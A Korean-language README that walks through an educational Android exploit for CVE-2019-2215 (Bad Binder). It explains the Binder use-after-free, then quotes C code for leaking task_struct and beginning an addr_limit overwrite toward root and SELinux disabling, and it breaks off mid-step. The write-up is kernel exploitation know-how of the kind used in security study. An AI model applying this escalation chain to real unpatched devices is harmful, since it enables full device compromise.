i-redbyte/android-badbinder-demoAndroid Q용 CVE-2019-2215 (Bad Binder) 데모
이 저장소는 취약점 CVE-2019-2215 (Bad Binder) 연구와 Kotlin/Jetpack Compose 기반의 간단한 GUI를 갖춘 안드로이드용 작업 프로토타입 익스플로잇을 작성하기 위한 소규모 테스트 프로젝트입니다.
README에서 다음을 다룹니다:
저장소에는 GitHub Actions 워크플로가 설정되어 있어, push/PR이 발생할 때마다 ./gradlew assembleDebug 명령으로 프로젝트를 빌드하고 완성된 badbinder-debug.apk를 아티팩트로 게시합니다.
다운로드 방법은 다음과 같습니다:
badbinder-debug-apk 아카이브를 다운로드합니다.로컬 환경을 구성하지 않고 애플리케이션을 테스트하고 싶은 경우를 위해 편의상 이렇게 설정했습니다.
CVE-2019-2215는 Android 커널의 Binder IPC 서브시스템에서 발생하는 Use-After-Free (UAF) 취약점입니다.
간략히 설명하면:
struct binder_thread 구조체가 존재합니다.waitqueue) 목록에 남아 있습니다.remove_wait_queue에서 이미 해제된 메모리로 작업을 시도하며, 이는 전형적인 UAF 시나리오를 유발합니다.더 자세한 이론적 분석은 다음 자료를 참고했습니다:
과제에 따라 Android 10.0 (Q) x86_64 이미지가 포함된 AVD 사용을 권장합니다.
다음과 같이 진행했습니다:
/dev/binder 장치가 있는지 확인.adb shell
ls -l /dev/binder
이 단계에서 불쾌한 사실을 발견했습니다:
현재 최신 AVD 이미지는 이미 패치된 커널과 함께 제공되어 CVE-2019-2215가 수정되었습니다. 따라서 최신 공식 에뮬레이터에서 실제로 root를 획득하는 것은 불가능합니다. 익스플로잇은 후반 단계에서 실패하거나 권한 상승이 전혀 발생하지 않습니다.
결국 AVD를 익스플로잇 로직 재현을 위한 훈련 도구로 사용합니다:
addr_limit 덮어쓰기 시도를 관찰합니다.이것은 중요한 세부 사항입니다. 아래의 모든 코드와 보고서는 학습용이며 "실전"용이 아닙니다.
소규모 Android 애플리케이션을 만들었습니다:
주요 단계:
Android Studio에서 일반 프로젝트 생성 (Kotlin, 최소 Android 10 지원).
NDK 및 CMake 연결.
익스플로잇이 포함된 네이티브 파일 추가 (leak_task_struct, overwrite_addr_limit 등의 함수가 포함된 cve-2019-2215.c).
CMakeLists.txt에 libcve-2019-2215.so 빌드 추가.
MainActivity에서:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
Kotlin 쪽에서 ExploitViewModel을 만들고 NativeLogger 인터페이스를 구현하여 모든 메시지를 StateFlow<List<String>>에 저장합니다. UI는 이 플로우를 구독하고 "터미널"에 로그를 표시합니다.
액티비티가 시작될 때 setNativeLogger(viewModel)을 호출하여 네이티브 코드가 문자열을 보낼 객체를 얻도록 합니다.
애플리케이션 빌드 및 설치:
./gradlew installDebug
AVD 및 애플리케이션 실행.
화면에 "터미널"과 RUN EXPLOIT 버튼이 보입니다.
버튼을 누르면:
runNativeExploit()을 호출합니다.실제 취약한 커널에서는 마지막에 다음과 같은 내용이 표시될 것으로 예상합니다:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
최신 Android 10 에뮬레이터에서는 물론 이런 일이 발생하지 않지만, task_struct 유출, addr_limit 덮어쓰기 시도, cred 및 kernel_base 계산 등 나머지 부분은 "시나리오"대로 작동하며, 이는 과제 요구사항을 충족합니다.
아래는 익스플로잇의 논리적 구성도와 이를 특정 C 함수에 연결한 것입니다.
개략적인 계획은 다음과 같습니다:
struct binder_thread 객체에 UAF 생성 및 이를 사용하여 자신의 프로세스 task_struct 주소 유출 (leak_task_struct).task_struct의 addr_limit 필드 덮어쓰기 (overwrite_addr_limit) - 이를 통해 이후 copy_to_user / copy_from_user를 위한 사용자 공간과 커널 공간 주소 간 제한이 제거됩니다.arb_read / arb_write).cred 및 커널 베이스 찾기 (verifying), 그런 다음:
selinux_enforcing = 0),cred 필드 덮어쓰기로 root 권한 획득 및 전체 capability 획득 (runNativeExploit).동시에 JNI 로거를 통합하여 이러한 모든 단계를 UI에서 직접 볼 수 있도록 했습니다.
task_struct 주소 유출 (leak_task_struct)핵심 함수:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
함수의 역할:
스레드를 CPU 0에 고정 (sched_setaffinity)하여 커널 할당자 동작을 더 예측 가능하게 만듭니다. 이는 UAF 익스플로잇의 안정성을 향상시킵니다.
/dev/binder를 열고 epoll 디스크립터를 생성합니다:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
Binder 디스크립터를 epoll에 등록합니다:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
struct iovec iov_buffers[IOVEC_N] 배열을 준비하고 메모리를 할당합니다:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
여기서 중요한 점은 주소의 하위 32비트가 0이어야 한다는 것입니다:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
이는 익스플로잇 관련 문서의 기술과 일치합니다. 이후 커널은 데이터의 일부를 포인터가 있는 구조체로 해석하며, 이렇게 "깔끔하게 정렬된" 주소 지정은 악용을 용이하게 합니다.
그런 다음 iov_buffers[0xa] 및 iov_buffers[0xb] 필드는 UAF 시점에 커널이 task_struct에 대한 포인터가 포함된 메모리 조각을 파이프에 복사하도록 채워집니다.
파이프를 생성하고 버퍼 크기를 0x1000으로 설정합니다:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
다음은 전형적인 UAF 경쟁 조건입니다. 자식 프로세스를 시작합니다:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...)은 커널에서 연결된 binder_thread의 해제를 유발하지만, 여전히 대기 계정 구조에 남아 있습니다. 이것이 UAF 지점입니다.부모 프로세스에서 다음을 호출합니다:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // binder_thread 해제
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
이 단계에서 UAF로 인해 writev는 이미 해제된 메모리를 iovec 구조체로 사용하며, 본질적으로 이전에 binder_thread가 있던 동일한 메모리 영역을 이제 포인터/길이 집합으로 재해석합니다. 부수 효과로 커널 메모리 조각이 파이프로 복사됩니다.
마지막으로 파이프에서 읽습니다:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
오프셋 0xe8은 특정 커널 버전에 맞게 조정되었습니다. 유출된 메모리 블록 내에서 프로세스 task_struct에 대한 포인터가 있는 위치입니다.
결과: 커널에서 task_struct의 주소를 얻었으며, 이는 이후 단계에 매우 중요합니다.
addr_limit 덮어쓰기 (overwrite_addr_limit)task_struct의 addr_limit은 프로세스가 시스템 호출에 사용자 공간 포인터로 전달할 수 있는 주소 범위를 결정합니다. 이 값을 거의 최대값으로 덮어쓰면 커널이 사용자 공간 주소와 자체 주소 공간의 주소를 구분하지 못하게 되며, 겉보기에는 안전해 보이는 많은 copy_(to|from)_user 연산이 커널의 임의 읽기/쓰기로 변합니다.
함수:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
매우 유사한 패턴으로 작동합니다:
CPU 친화도 고정, /dev/binder 열기, epoll 생성.
iov_buffers 준비하지만 이번에는 구성이 다릅니다:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0 c].iov_base = read_buffer0;
iov_buffers[0 c].iov_len = 0x8;
파이프 대신 socketpair(AF_UNIX, SOCK_STREAM, ...)을 사용합니다:
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
recvmsg를 위한 msghdr 구조체를 준비합니다: